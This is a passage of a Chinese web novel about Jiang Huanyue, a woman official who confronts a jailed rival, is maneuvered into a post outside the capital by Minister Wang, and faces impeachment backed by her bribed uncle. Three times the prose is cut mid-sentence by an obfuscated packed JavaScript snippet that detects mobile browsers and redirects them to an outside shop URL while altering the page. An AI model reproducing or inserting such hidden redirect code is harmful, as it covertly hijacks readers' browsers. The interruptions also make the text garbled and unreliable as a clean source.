李郎中盘坐在草席上，探出头幸灾乐祸：“哟，姜主事来陪我了？我就知道你逃不过京察！” “我来，不是陪李郎中，而是来探视手下败将的。好叫李郎中知道，我不仅没被问罪，待京察一过，就会官升一品！” “怎么可能！！”李郎中大惊，连忙起身，走近狱门，上下打量姜桓月。 只见姜桓月官袍犹在，衣饰齐全，身后亦无差役，确实不像是被问罪下狱的模样。 李郎中揉了揉眼，姜桓月还是那副模样。 “不对，不对，不应该是这样的。” 李郎中摇晃着狱门，锁链剧烈碰撞，发出哐当的响声。 姜桓月站在半丈远的位置，坦然道：“甲库籍册我在半月前就已经理完了，只是一直没有说过。” 李郎中靠着狱门颓丧摇头，长叹一声：“是我输了。姜桓月，你不会就是来看我笑话的吧？” “我想听你的实话，你卖官和截留的银两真的归了自己吗？”姜桓月幽幽开口。 一个五品郎真的能决定六品官的归属，能截留户部拨下的库银？ 李郎中默然。 “论理，你不该对我有这么大敌意，如果是因为我占了李盛的位置，你与李盛的情谊根本够不到这个分上。” 李盛是李郎中族侄，已不知道隔了多少代，若真是李郎中亲近之人，根本无需在外任蹉跎。 李郎中握紧了手，依旧不言。 “我听说，李郎中并不拘泥于男女分别，京中只有你愿意帮女官打点。我还听说，李郎中家中只有一个女儿。” 李郎中顺着狱门滑坐在地，仰面望着斑驳墙顶，怅然道：“姜姑娘，你已经赢了。听我一句劝，不要在官场里呆太久，等到合适的时候，还是找个勋贵嫁了吧。” 这样的话，姜桓月听过太多，若要嫁人，她就不会走到这里了。 姜桓月走近狱门，蹲下身子。 “那你的女儿呢？她拜了大儒为师，不过十岁就放言要考女官。你忍心让她呆在四四方方的后宅？” “姜姑娘，事情没有那么简单。你猜得不错，我只是个推上台前的小小卒子，身后确有人在，女官在他们眼里只是拉拢人心和婚嫁的筹码。这世上只有一个女皇，也只有她在时，才会有走入朝堂的女官，你能握住等到也只会是女皇在时的风光。” 姜桓月眼皮的不受控制的跳了两下，李郎中不仅肯定她的猜测，还刻意提及女皇，不难想到，他背后之人多半是某位皇子，而且还是极可能继位的皇子。 只有皇子才会让李郎中刻意强调“女皇在时的风光”，才会令朝臣缄默不言，不约而同忽略李郎中一案中的蹊跷。 姜桓月察觉到李郎中此刻告诫的恳切，恭敬朝李郎中行了一礼。 “多谢李郎中为我解惑，令爱的事情如有机会，我让她顺遂的。” 李郎中明白姜桓月不会听劝，背对姜桓月，阖眼道：“罢了罢了，你走吧！我行差踏错，落得如此下场，又能劝你什么呢？” …… 静候片刻，见李郎中不再说话，姜桓月再度端正行礼。 “李郎中，告辞！” 在姜桓月转身那瞬，一滴晶莹泪珠顺着李郎中衣襟滚落，啪嗒一声打在草席上。 姜桓月自昏暗牢狱走出，双唇紧抿，知道李郎中背后人是皇子后，她心中生出几分紧迫。 女官尚且幼小，在有心人们眼中就是道旁任人拾捡的诱人馅饼。 朝中如王尚书、李郎中这般当面表明态度，直接为难的其实是少数，更多的敌人正藏在暗处，露出森冷獠牙，就如那位不知排行的皇子。 那位皇子在前世极有可能成功了。姜桓月记得，前世刘沐云曾在面前炫耀，她的同年女官嫁了怎样的勋贵重臣。成为国公夫人后，刘沐云亦为其她未嫁女官牵线搭桥，得了厚重谢礼，女官彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569466|187034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底成了女子上嫁的阶梯。 再度瞥见几分前世的真相，姜桓月不免内心沉重。 出了大理寺，她晃晃悠悠地走进街市，任轻软暖阳笼罩周身，烟火气萦绕于耳，驱散方才骨头缝里生出的阴寒。 直至日落，姜桓月方归家。 看门老仆见了她，急切道：“姑娘可算回来了！有人送信给姑娘，等了一下午！” 送信的人是个古铜肤色的精壮汉子，口称姜桓月“姑奶奶”。 姜桓月接过信，瞧见封皮上的几个字就扯了扯嘴角，抖开信，读完心中内容，她笑了，笑里透着刺骨的冷意。 精壮汉子不由得缩了缩脖子。 这是族老给姜桓月寄来的，信里东拉西扯的寒暄占了大半，直至最后谈起了姜桓月的婚事，说是已经帮她相看好了几个人选，只待她回乡就能完婚，若是不方便回去，族老还能把人送来京城。 族老还以为自己可以轻易左右姜桓月。 姜桓月随手捏起门房那杆秃毛旧笔，在信纸背后龙飞凤舞地写下两个大字——“不要！”又把信纸原样塞回信封，交给精壮汉子送回。 精壮汉子接过信，趁机又将一封没有署名的信塞进了姜桓月手心。 姜桓月不动声色，收下了。 精壮汉子将信带回乡里，姜桓月在京中立功的消息也随之传了回去。 族老打开姜桓月回信，露出了里面漫不经心的两个大字，气得胡子都翘起来，拍桌大骂：“姜桓月这个不忠不孝之徒！放肆……咳咳……” 身边族人慌忙给他顺气。 信纸飘落在地，那两个张扬的大字仿佛在嘲笑族老自视甚高。 族老自觉被姜桓月挑衅，不能容忍当初任他揉扁搓圆的姜桓月脱离控制，又忆起上次姜桓月中选女官时的憋屈，更是怒从心起：“不行，我一定要给姜桓月点颜色看看，她这是要视宗族于无物！” “族老注意身子，气大伤身！” “是啊！” 族人只关心族老身体，却无人附和族老的话，三叔母更躲到了人群之后。 他们对立功的姜桓月生了忌惮，不敢轻易得罪。 族老更气了，推开身前的族人道：“别以为我不知道，你们想讨好姜桓月，可别忘了这个小妮子记仇得很，人家才不会领你们的情。” 族人们皆面上陪笑：“族老多心了，姜桓月再有出息也逃不过您的手掌心，还是族老的身子要紧！” 话虽如此说，但无形之中姜家早已生了裂痕。 刘家也听到了姜家的热闹，刘母难掩愤恨：“姜桓月走了什么运道，竟是立功了。姜家是张狂，等沐云做了女官，定能压姜桓月一头！” 刘母伸长耳朵打探姜家动静，听了半天，又皱眉道，“沐云，京中贵人还是没有消息吗？” 约定的日子已至，可刘家等了许久都没有收到贵人的消息，刘沐云的官位更是丝毫没有影子。 “没，许是贵人有什么事耽误了。”刘沐云攥紧袖口，压下心底不安。 话音刚落，刘家大门被敲响，方才与姜家族人一同回来的，还有刘家派去京中给贵人送信的仆从。 “不好了，贵人出事了！”仆从慌慌张张地向两人禀告。 刘家贵人李郎中此刻已在大理寺狱中，根本无法回信，更别说给刘沐云带来官位了。 刘母眼前一黑，几乎要厥过去，盼了许久的官位就这么成了泡影，还得继续看着姜家嚣张。 刘沐云亦心神震荡，一面扶住刘母，一面细细询问仆从京中情形。 得知姜桓月在京中风头无两，她眼中晦涩弥漫，从牙缝中森然吐出字句：“姜桓月，我不会让你得意太久的……” 11. 臣请出京 吏部后街，街尾的一间隐蔽宅子。 厅中陆陆续续散坐着几个朝官。 “姜桓月风头越发旺了！” “可不是，这几日，我还听得有赞她什么“断佞娥眉”“澄宪君”的。” “牝鸡司晨不是正道，这么下去，天下女子迟早被她乱了心思。” 王尚书稳稳居中端坐，一语不发，旁边有个身着朱红官服男子在厅中一圈圈踱步，越听越摇头，轻拍手背道：“王尚书，姜桓月如今势头正盛，又得女皇袒护，难不成只能眼睁睁地看着她在我们头上放肆？” 此人是王尚书心腹，吏部左侍郎周沅，他与王尚书上下配合，二人牢牢将吏部抓在手中，同样见不得铁板一块的吏部多了姜桓月这么个异数。 王尚书捏着白瓷盖碗，轻轻掀开，刮去茶末，眼也不太抬道：“女皇圣心独断，我们不好违逆。” 周侍郎的眉心顿时拧成一团疙瘩，王尚书话锋一转：“周沅，这次京察姜桓月不仅得定上上，而且需是众望所归。都记好了——不论何时何地，哪怕是女皇面前，只要提及姜桓月，都只能说她的好话。” 周侍郎先是一愣，不过片刻后，眼底疑惑散去，转而露出一个狞笑。 王尚书浅呷了一口茶汤，抬首，窗外竹影错落，忽明忽暗，衬得他眉眼深沉。 半响，王尚书手腕微沉，盖碗落下，“啪嗒”一声脆响久久在厅中回荡…… 依着王尚书吩咐，朝中对待姜桓月的口风有了变化，朝臣在一夜之间发现了姜桓月的不凡。 姜桓月踏入吏部，所遇朝臣皆满脸热络。 一人微笑拱手：“姜主事清正敢为，堪为百官表率！” 其后一人更是笑得谄媚：“姜主事洞察时弊，有雷霆万钧之风，我等敬服！” …… 姜桓月微抬下巴，姿态不冷不淡，只应了一句：“诸位客气。” 昨日这些朝臣还对姜桓月避之不及，笑得最谄媚那位背地蛐蛐姜桓月还被她当场撞破，今日这般作态实在惹人发笑。 - 同一时刻的宣政殿，王尚书将京察结果呈送女皇，面有愧色道：“陛下，臣方知此前狭隘了。” “哦？” “此番京察，臣仔细问过，姜主事官声极好，行事刚正不失机敏，吏部同僚中没有不夸的。” 女皇翻看奏折，颇有兴味地问道：“哦？是怎么夸的？” “都佩服姜主事的胆识气魄，说她是‘断佞娥眉’‘澄宪君’。 女皇开怀大笑。 “陛下，姜主事才干俱佳，行事稳妥，有能臣之姿。臣保举姜主事出京历练，一则一展所长，建功立业，于民生社稷有益，二则经历实务，磨砺英才，日后方能真正为朝中栋梁。” 王尚书说得情真意切，字字句句仿佛都在为姜桓月考虑。他话中之意也确实不错，姜桓月年轻，既需历练，也需功绩。 只是姜桓月一旦出京，就不是那么容易回来的，寻常官员外任皆是三年又三年，出去的多回来的少，更别说可以称上朝野皆敌的姜桓月了。 等天长日久，一直远离中枢，女皇说不定会忘了姜桓月，姜桓月就只能被官职困在某处州府，再不能对朝中有任何影响。 女皇未必不能看出这些，饱含深意地敲打：“王卿家用心良苦。” 王尚书却是神色坦然：“陛下，我虽有几分私心，但也是实在不忍浪费姜主事的才能，她正是建功立业的时候，何必蹉跎。” 这是一招阳谋，女皇不愿姜桓月在吏部熬资历、姜桓月也不想，那只能依王尚书所言出京外放，而王尚书也势必会用尽一切手段不再让她回来。 “王卿家之意，朕知道了。”女皇用了许久没有用过的朕字，眼底生出几分不耐。 王尚书目的达到，趁势退下。 望着远处绘着大夏河山的屏风，女皇眼底逐渐恢复沉静，逐一抚平手下奏折被抓出的褶皱。 “陛下，姜主事求见。” “宣！” 王尚书才离开御前不久，姜桓月又来了。 姜桓月没有过多虚言，行礼后直入正题，朝女皇道明来意：“陛下，臣请出京外任！” 女皇刚要抬起的手顿住，语意关切：“桓月，莫不是有人对你说了什么？只要你想留京，我必令你如愿。” 姜桓月双眸亮若辰星，声气铿锵直震殿宇：“陛下，臣心中所念，乃亲踏大夏疆土，见民生疾苦，为大夏百姓谋福。臣愿执戈前驱，刀山火海，不负社稷，誓做陛下的肱股之臣！” 女皇收敛容色，竟未透出丝毫喜怒，话中暗含告诫：“桓月，你需知道，只要出京，你就再不能轻易回来，或穷山恶水，或边疆塞外，哪怕我惦着你，若无切实功绩，也不会无故调你回京。” 复又抛出了诱人的安排：“无需担心在京中无处施展，借着李郎中一案，你去大理寺，做大理寺丞，墈合要案，同样能为民做主，三年一任，之后大理寺少卿就是你的，便是与六部部堂相比也不差。” 女皇为姜桓月样样算得周全，已然为姜桓月铺就了青云路。大理寺主管大夏刑狱，与六部齐平，论前程与吏部相差不远，论历练同样可以通晓民生。大理寺少卿在任已满三年，未曾有过差错，三年后便会擢升为姜桓月留出空位，姜桓月就可以尚书、侍郎之流并肩而立。 姜桓月心头发暖，感怀女皇看顾之情。 她怎会不知，女皇所指的，是多少人艳羡的青云坦途。依着那条路，假以时日，姜桓月必将成为天下女官之首，成为朝野称道的“女官表率”。但姜桓月不想只有虚浮的尊崇，姜桓月要的，是能拍板施策、决断朝事的实权。 待在京城，姜桓月只能疲于应对各类明枪暗箭，与朝臣勾心斗角，沉溺于此，有悖姜桓月为天下女子张目之志。 只有迈出去，主政一方，姜桓月才能拥有实绩，才能在朝堂有立足的倚仗，堂堂正正与诸位朝臣抗衡。 姜桓月仰头，眉间萦绕着勃发的英气，坚定开口：“陛下，我心意已决！” 女皇目光沉沉，凝视着殿内姜桓月如劲竹般修长挺拔的身影，面对帝王审视，姜桓月身形丝毫未晃，脊背挺直，眼底是藏不住的赤诚。 良久，女皇幽幽轻叹，沉静的容色逐渐化开，染上些许无奈，许诺：“桓月，你若不改志向，不负社稷，我亦不会负你！我在金銮殿上，等你功成归来！” 女皇既有欣慰，也有些不忍，她也清楚姜桓月走上了她期待的路，但她也不知道姜桓月能不能从一众寒窗苦读的同僚中杀出重围，回到京师。 姜桓月朝女皇深深叩首。 殿外恰好传来檐角铜铃轻响，清越之声似在应和君臣二人。 这边王尚书动作迅速，回到吏部便放出姜桓月外放的风声。 女皇放任了王尚书的动作，王尚书便将姜桓月的名姓写在了吏部外放的名册上。 论理姜桓月为官只三月，外放其实有些说不过去，但有王尚书保举和女皇默许，也就顺利推进了。 众人对王尚书无不佩服，只略施小计，不仅将姜桓月清出吏部，还不动声色阻住了她的势头。 有人低声称赞：“王尚书高明！此等举重若轻的手段，我等远远不及！” 王尚书淡然抬手示意，目光沉静：“不过为朝堂安稳罢了。” 众人佩服声更盛。 吏部署衙内众人在夸赞王尚书， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569467|187034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 署衙外姜桓月在与王筱琦相见。 因即将离京，姜桓月与女官们见得更频，王筱琦几乎回回不落，两人日渐熟稔。 王筱琦神情忐忑，拉着姜桓月的一边胳膊道：“桓月，你快离京了。我母亲知道你的事迹，一直也想见你，我想，想请你来我家中，我们喝最好的三勒浆！” 王筱琦从怀中小心地掏出一张兰花帖子，递给姜桓月，满含期待。 帖子用花笺写就，散发着清幽的兰香，字迹清丽而又不失沉劲，显然不是出自王筱琦笔下。 单论这份帖子已十足郑重，更何况去的是王家家宅，姜桓月怎会拒绝？ “好，我去。” 王筱琦雀跃欢呼，拽着姜桓月上了一辆停在旁边的马车，随即清灵的声音从马车中飘出。 “快回府！” “等等，我还没准备呢！” “不用准备，只要人来就好。” …… 马车停在一座占据小半街面的宅院前，门前写着王府二字，熟悉的字体时常出现在吏部批文上。 宅院布局规整，是正一品大员的形制，仆役肃穆井然，姜桓月才下马车，一位温润女子自影壁后款款迎出，头戴珍珠白玉冠，笑意融融，一见就拉着姜桓月手道：“可算让我见着了澄宪君！” 旁边的王筱琦道：“桓月，这是我娘，她日日都要在我耳边提起你。” 王夫人唇边含笑，边领着姜桓月朝庭院中敞轩行去，边道：“桓月这般有能女子，就该时时提起。我光听着桓月的事迹，就觉痛快，咱们可算有扬眉吐气的一日了。” 姜桓月微微垂眸，状似害羞，轻声道：“夫人谬赞。” 王夫人瞅着姜桓月，爽朗笑道：“桓月在我面前就不必再遮掩了，你若是腼腆性子，怎会当朝弹劾李郎中，面斥朝臣泥古不化？” “夫人这么说我可就不客气了！” 王夫人是世家萧氏女，出乎姜桓月意料，却不是困在规矩里世家夫人，反很是洒脱，姜桓月顿时明白王筱琦为何能有这般活泛的性情。 “别以为我比你们大些，就一定是规规矩矩的性子。我还是年轻姑娘的时候，也是京中的风云人物，与闺中好友办女子文社，出文集骂贪官奸臣呢！” 王夫人面带追忆之色，似是忆起了年少时与好友们意气相投的年月。 姜桓月生出好奇，不禁问道：“那后来呢？” “那时是先帝朝，北戎南下，我们又办了武社，我还去报名投军，当时战马、皮甲都置办好了，已随军出城，只差一步就要离开京城地界，还是被家中截住。” 王夫人摇了摇头，有些遗憾。 伴着王夫人讲述，姜桓月与王筱琦仿佛了目睹王夫人当年文可骂贪官奸臣、武可御马从戎的情态。 说话间三人已至敞轩，两边满树金黄，清风送来馥郁桂香，与桌上三勒浆的清甜融合，温暖的甜意舒缓着三人周身。 王夫人谈性更浓，“那时我就如你们这般年纪，和我一块儿的还有如今户部高尚书的夫人、吏部周侍郎的夫人，高夫人比我厉害些，去成了北边，上了战场，亲手杀过北戎人……” 三人在轩中围坐，相谈甚欢，轩中的茶饮足足换了三壶。 与此同时，王尚书已经下值。今日解决了心腹大患姜桓月，至少三年五载都不会再遇，王尚书神清气爽，坐着马车兴冲冲回府，赶着与一日未见的妻女相聚。 拉车的马正值壮年，脚程快，王尚书距离家中越来越近。 六条街，五条街，四条街，只差三条街了。 王府敞轩内，姜桓月等三人声音未停，茶饮未断。 王尚书还有两条街就要到达家中。 12. 风波再起 “停！” 王尚书掀开帘唤车夫停下，走进街边一家老铺。 敞轩内，姜桓月满足地饮下一大口茶，惋惜道：“夫人是女中豪杰！可惜我生得晚，没能看见夫人当年英姿。” 王筱琦看看左边的娘亲，又看看右边的姜桓月，捧着腮帮，眼中憧憬愈发明显：“桓月那么威风，娘亲当年也厉害！真让人羡慕！” 姜桓月笑了，冲王筱琦挤了挤眼：“筱琦，你也可以啊！” 王筱琦垂下头，有些惆怅：“可我连女官都还不是……本想跟着你，可你马上就要出京，三年五载都见不着面。” 此时，日渐西沉，桂花飘飘悠悠洒落，更衬得王筱琦周身寥落。 姜桓月握住王筱琦手背，朝王夫人开口：“夫人，我有个不情之请，不知道夫人舍不舍得—— 我想请筱琦助我，一同出京赴任。” 王筱琦惊呼：“我吗？桓月你愿意带着我出京！”随即望着王夫人，目光灼热。 王夫人莞尔一笑，痛快答应：“桓月愿意带筱琦，我能有什么不情愿的，筱琦跟着你我放心！” 王筱琦的眼弯成了月牙，嘴角大大咧开。她一向佩服姜桓月，也有自己的野望，能跟着姜桓月出京再好不过了。 三人俱是心满意足。 两条街外的王尚书亦是心满意足，他拎着三包酥糖从人群中挤了出来，这是刚刚出炉的，都还热乎着，都是王夫人和王筱琦平日里最爱的口味。 王尚书重新坐上马车，将三包酥糖捧在怀里。 “走！” 马车车轮再度滚动，两条街，一条街…… 远远的已经可以看见王府的檐顶。 姜桓月三人此时才散，出了敞轩，朝院门影壁走去，王筱琦紧紧跟着姜桓月，视线一直黏在姜桓月身上，直到姜桓月坐上了来时的马车。 三百步，两百步，王尚书在马车上已经可以清晰地看见家中大门。 一辆青灰马车与他擦肩而过。 不知为什么，王尚书看那辆青灰马车总有些不顺眼，就好像看到了在吏部格格不入的姜桓月。 马车停在府前，王夫人和王筱琦正好门口相迎，王尚书顿时笑开，认为妻女定是念着自己，提前出来相迎，语气轻快：“夫人、筱琦，我回来了！”又高高举起手中酥糖，“看我买了什么回来！” 走到近前，发现妻女眉眼含笑，更觉没了姜桓月，定能事事顺心。 而这边姜桓月擦肩而过时，早认出王尚书马车，透过掀开的车帘，依稀可望见王尚书面上喜色。 姜桓月心中发笑，王尚书此时以为将她送出京城便可高枕无忧，若是知道妻女早已倒戈，不知面上喜色还能不能保持住。 在姜桓月与王尚书目标一致，暂时“和解”之际，早朝的一封奏折再度打破了京城的宁静。 那日，女皇双手已撑在御案边沿，之首待散朝，诸官多松懈心神。 唯有台院御使快步走出班列，双手一拱，声若洪钟：陛下，臣有劾奏！吏部主事姜桓月不孝不睦、不敬耋老，背亲忘本，乖违人伦！” 姜桓月心底一沉，她从未听闻过此事的半点风声，对台院御使更一无所知。 女皇蹙眉，台院御使声色更厉：“臣闻，夫孝者，天经地义也；睦者，家和族兴也；敬老者，国德民范也，此等寡情薄义，泯灭天良之辈，若不惩戒，何以正纲纪、明教化？请陛下明察，将姜桓月削官除名，以儆戒百官、匡正朝风。” 姜桓月眼底冷肃，牢牢盯着台院御使，这弹劾的时机抓得实在太巧。 大夏官员考功重德重能，以四善为要，即德义、清慎、公平、恪勤。台院御使直指姜桓月失德不义，这放在平日，是朝堂常见的攻诘手段，不痛不痒，可在此刻一旦坐实失德罪名，姜桓月板上钉钉的升迁就会化为泡影。 一步退便是步步退，朝堂瞬息万变，三年时间足以让新人出头，旧人落幕。 看似寻常的手段却能断了姜桓月的前程。 她当即出班反驳，顺带还将朝臣对女官扰乱朝纲的指责还了回去。 “我曾清修为父守孝三年，于族中老幼更是尽心尽责，从未轻慢。我与御史往日无怨，今日无仇，御史看不惯我，何苦将朝堂法度视作儿戏？”当初姜桓月守孝一事闹得极大，不仅乡里，便是府城亦有人知晓，正好令御史的弹劾不攻自破。 女皇颔首：“姜主事清修守孝之事，朕亦是有听闻。” 随即，凌厉的双眸自御史身上扫过，语气陡然加重，“御使风闻奏事，本为整肃朝纲，如今却拿着这些不辨真伪的流言随意奏报，这般浮躁的风气，是时候彻底该改了。此后，若有如此不经核查构陷同僚之事，休怪朕以污蔑之罪严惩！” 有女皇盖棺定论，姜桓月绷紧的心神舒展开来，立着的姿态都多了几分从容，真诚劝告：“日后，御使还是先查清楚为好，免得再如今日这般白费功夫。” 她正要回到班列—— “陛下，监察百官是臣职属所在，臣不敢轻忽，此事就是姜桓月族人亲口所言！” 姜桓月脑中轰然一响，心底翻江倒海。她清楚这次的局背后之人不会轻易放她过去，但没想到御史的底牌居然是她的族人证词。 因着家产之事，她与族人多有不快，对她不满的大有人在，但有能耐与御史勾搭上的，不多。 一个个族人的面孔在姜桓月眼前略过，台院御使所言族人究竟是谁，姜桓月脑中已经有了一个模糊的影子。 若是他的话…… 姜桓月眼底更沉，看清了自己处境之危，台院御使捏住她亲长证词，便是女皇都难以偏袒，大夏官场上因长辈之言坐实不睦不孝的早有先例，自此再无寸进的亦有。 殿内亦起了一阵细碎响动，众人或瞳孔骤缩，或侧首交递目光，心底暗忖：姜桓月瞧着是个聪明人，怎的连宗族都笼络不住？竟还让御史抓着把柄，告到了御前！ 话说，姜桓月是走了什么背运，不久前刚逃过吏部为她精心准备的罪名，风光几日，又要被送出京城，虽前途难料，但勉强能称得上一句高升，可如今更有族人在背后捅刀子。 大夏官场从来容不下失德之官，有这般风言风语，上官都要添几分思量，更别说有切实人证。 这一关，姜桓月难过了。 众人目光再次汇聚于姜桓月一身——姜桓月脸上像覆了一层薄雾，眼中神色看不分明。 大殿之中鸦雀无声，女皇眼神锐利，身上威势愈发浓重。 姜桓月闭眼，再睁开时，眸中尽是决绝。 她从吏部班次缓步走出，每一步都似有千钧分量，沉声开口：“陛下，臣问心无愧，请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569468|187034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当面对峙！” 姜桓月耳中全是自己清晰心跳声，她在赌，不仅赌女皇心中的公允，更赌女皇愿意给她证明清白机会。 她更知道于君王而言，最好的办法是将此案付有司详查，公正又不留话柄，但姜桓月势必会错过两日后的擢升。 这赌局凶险，一旦女皇不松口，她便再无转圜余地，可她更清楚，此刻唯有赌一把，才能撕开一道生机。 她微微抬眼，目光越过百官，望向龙椅上的女皇—— 女皇的目光在姜桓月与御史之间逡巡，片刻，带着君王独有的决断开口：“准！明日朕亲审此案。姜桓月，朕准你自辨，但若有欺瞒，便是罪加一等。” 姜桓月双手交叠，紧紧相握，躬身俯首，谢过圣恩，殿擢那日女皇说过的话在耳边依稀回响，“尔若谨记志向，定有一展宏图之日。” 殿外，一轮红日穿破云层，霞光万丈。 “退朝——” 姜桓月虽然得到了喘息的机会，但身边又恢复了此前无人接近的模样。 消息飞一般地传遍京城，刚刚热闹起来的姜宅再度门可罗雀，甚至连往日与姜桓月形影不离的众女官也没了身影。 外放出京，又遭弹劾，姜桓月这个御前红人已是昨日黄花。 随着姜桓月立功而来的好局面荡然无存，吏部诸人见着姜桓月又开始冷脸，王尚书却是比姜桓月更急，好不容易要送走姜桓月，突然又被御史横插一杠，甚至姜桓月还有要在吏部就此扎根的迹象。 这王尚书如何能受得住。 - 城南深巷的一间小院，这几日住进了外地来的奇怪男子，整日进出遮遮掩掩，吃穿用度都不差，却又透着股穷人乍富的滋味。 一小厮叩响院门，那男子推门出来，露出的那张脸，是姜桓月二叔的模样。 “老爷说了，明天陛下亲自审案，你要去作证，该说什么，你应该清楚。” 姜二叔面上笑容几乎要溢出来：“小人明白，大人的吩咐，一定错不了。” 小厮打断了姜二叔的话，“什么时候大人吩咐过，你说的句句都是实情。” “是是是，小人嘴拙，不会说话。” 小厮走前给姜二叔留下了两个丫鬟，并一个老嬷嬷伺候。 姜二叔是在三日前进京的。 自姜桓月立功以来，姜家人心渐散，族老威势大不如前，族老想让姜桓月吃苦头，姜二叔与刘家合谋算计姜桓月落空，过得不甚如意，两人一拍即合，却又找不到门路。 姜二叔蹲在田间愁苦时，撞见了刘家小妹刘沐云。 “姜二叔，我有办法制住姜桓月，端看你有没有胆子做。” “你说！” “我认识京中贵人，要收拾姜桓月。” 姜二叔顿时不想再理会刘沐云，抬腿就走：“刘沐云，别以为我不知道，上次你娘吹嘘，京中贵人能让你做女官，可现在呢？还不是白身，白费银子不说，还丢了大人！”刘沐云做官不成，在家中好几日不敢出门，姜二叔可不想步她后尘。 刘沐云的脸青白交加，好一会儿才道：“上次是遇着意外，这回我认识的是结结实实的贵人。” 她朝天上一指，压低声音，“那是能通天的贵人。若能帮着贵人收拾姜桓月，不仅能出口恶气，还能赚得个大前程。” 13. 御前对峙 “你说的贵人既然这么有本事，能要我做什么？” “姜桓月现在是官，要守官场的规矩，官员重德行，友爱宗族是德行里要紧的一条……二叔你可是姜桓月的长辈。” 刘沐云阴恻恻说道，眼里的戾气直令人心头发寒，险些令姜二叔都骇住，只得暗自庆幸自己与刘沐云是一头。 姜二叔半信半疑，答应了刘沐云。 有刘沐云牵线搭桥，姜二叔与族老联系上了京中人。 三人还未做什么，就得了千两白银。 这下，姜二叔信了大半。 到了京城，姜二叔被蒙着眼带进了一处雕梁画栋的府邸，里外仆役行走无声，更是侍卫五步一人层层把守，闪着寒光腰刀隐隐带着血气，若是他没有看错，院子里的空地上还有一摊暗红。 姜二叔屏息凝神，束手束脚，生怕下一刻利刃就架在了自己脖颈之上。 再往里走，屋内白玉砖铺地，点着二十四盏鎏金八宝琉璃灯，博古架上是各种闻所未闻的珍奇古玩，珠光宝气直晃花了姜二叔的眼。 转过屏风，隔着重重帘幕，姜二叔模模糊糊瞥见了贵人明黄的衣角，心中颤栗，不敢再看，只会低头喃喃称是。 “赏！” 贵人挥手，赐了姜二叔珠宝绸缎。 出来后，姜二叔仍在恍惚，又被妥帖安置，受了此生未见的富贵，至此对京中贵人深信不疑，一心扳倒姜桓月，好得贵人赏识，留在京城。 台院御史是贵人亲信，今日好不容易有吩咐，姜二叔无有不从，只盼着御史能为他在贵人面前多多美言。 今夜，姜二叔的梦里堆满了金银。 而两条街外，贵人的唇角缓缓勾起，未见半分温度的眼里透着势在必得。 - 翌日，姜桓月与台院御史在殿上各据一方，诸官分列道旁。 台院御史今日是一副凌然的模样，通身带着久居台阁的气势。 姜桓月气势同样不弱，一身石青宝相纹袍服，不见半分柔婉，只余正面迎敌、直取贼首的锐气。 “传证人——” 一个约莫三十上下年纪，穿半旧青布直裰，气息温润的男子步入殿内。 “见过陛下，小人是姜桓月二叔姜振流。” 姜二叔行礼毕，低垂着脑袋，肃立，不敢乱看。 姜桓月眼神暗了暗，姜二叔得了姜家人的好相貌，素日里又是个假模假样的老好人，再有人教导，此时只看姜二叔模样，称得上是儒雅端方的君子。 诸官见姜二叔模样不俗，又知晓礼法，确实添了几分信任。 察觉众人神色，台院御史的筓板举得更高，举止间泄出势在必得。 台院御史刻意绷紧面皮，喝道：“姜振流，你将姜桓月在乡里情形如实道来，陛下面前不可撒谎，若有虚言，仔细你项上人头！” “请陛下为我等做主！” 姜二叔跪下，其声恳切，似饱含万千无奈。 “姜桓月素日从不理会族中，她父亲走后，我等忧心她孤苦，欲登门关怀皆被她赶出门外， 我们想着既她不愿意，那我们就不去，如此亦相安无事。可她竟在祠堂当堂顶撞族老，族老去信，她愈发跋扈，毫无悔意，族老受不住她几番恶言，已病重在床，姜桓月从未看过，亦不曾有只言片语。” 姜二叔从眼眶里挤出了三五滴泪，手捂心口，句句痛心。 “姜桓月出任女官，光耀门楣，身为她族人，我们只有欢喜，本不该阻她，可实在不忍族老为族中老幼熬干心血还要受此苦楚，更不愿令如此寡言廉耻之人为我大夏父母官。” 话音刚落，台院御史紧跟着愤然出言：“陛下，姜桓月身蒙国恩，位列朝班，然行为乖张，有悖伦常，德行有亏。其悖逆之行，擢发难数，恳请陛下严惩此恶徒！ 姜二叔是姜父一母同胞的兄弟，姜桓月的亲叔叔，指责姜桓月的话出自他口，分量极重，再加上御前这番真切的唱念做打，几乎无人质疑事情真假。 且姜二叔所言六分真、四分假，所说桩桩件件，乡里都有人知晓，就如族老病重在床一事，上次收到姜桓月毫无留情的驳斥，羞于见人，开始装病，根本不怕日后追查。 女皇对姜桓月与族中关系心中有数，但她亲自下场为姜桓月辩驳，于证明姜桓月清白无益。 在场朝臣未对姜桓月落井下石已是万幸，绝不能指望他们会为姜桓月说话。 此刻，局势已彻底倒向了台院御史。 